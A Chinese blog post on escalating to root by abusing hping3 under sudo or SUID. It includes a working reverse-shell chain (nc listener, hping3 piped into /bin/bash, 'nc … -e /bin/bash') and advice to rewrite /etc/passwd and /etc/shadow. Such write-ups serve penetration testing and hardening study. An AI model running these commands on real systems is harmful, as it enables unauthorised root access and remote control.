当hping3工具有个神奇的地方,hping3支持交互式运行,终端中输入hping3后可以进入一个hping3的控制台,这个控制台不但可以执行hping3自己的命令,也可以把非自身命令定向到shell终端去,当作系统命令执行,因此当hping3具有suid位或者用户有权限通过sudo执行hping3的时候,hping3可以用来被提权。

1、sudo情况

1)如图,当前用户可以sudo免密执行hping3

sudo -hping3提权(含 suid位)-冯金伟博客园

 2)执行如下代码即可提权成为root账户,如图

~:sudo hping3
hping3>/bin/bash

sudo -hping3提权(含 suid位)-冯金伟博客园

 ##########################    反弹SHELL       ##########################

//顺便记录下hping3通过传输文件进行反弹shell的做法(网上很多文章提到这个环节的步骤,几乎都不能复现,原因在于使用了–safe参数。这个参数是保证文件传输过程中,如果数据包丢失可以重传。本来应该是一个人畜无害的参数,但是确实无法运行,原因没有细究)

1)攻击机监听用nc监听一个端口

nc -lvnp 9999

2) 被攻击机器通过hping3监听流量,并重定向到/bin/bash中

hping3 192.168.146.128 --listen signature --udp -p 5656 -I enp0s3 |/bin/bash

3)攻击机编写反弹shell的bash命令

echo "nc 192.168.146.128 8888 -e /bin/bash" > shell

4)通过hping3将shell命令传送到被攻击机

hping3 192.168.146.136 --udp -p 5656 -d 100 --sign signature --file ./shell

5)现在看之前监听的9999端口应该已经接收到shell了

*PS这个过程个人感觉有点鸡肋,不能用来提权。因为linux下,sudo命令不会被继承到管道符和重定向符之后。也就是说,即使用sudo hping3 …|/bin/bash。执行后得到的shell也不是root权限。既然如此,反弹shell有一万种方式,为什么要用这么一个不稳定的方式。

2、有suid位情况

1)如图,hping3具备suid位

sudo -hping3提权(含 suid位)-冯金伟博客园

 2)直接进入hping3控制台,便具备了root资源的访问权限

sudo -hping3提权(含 suid位)-冯金伟博客园

 此时可以通过改写/etc/passwd和/etc/shadow文件,修改root密码,进而获取root权限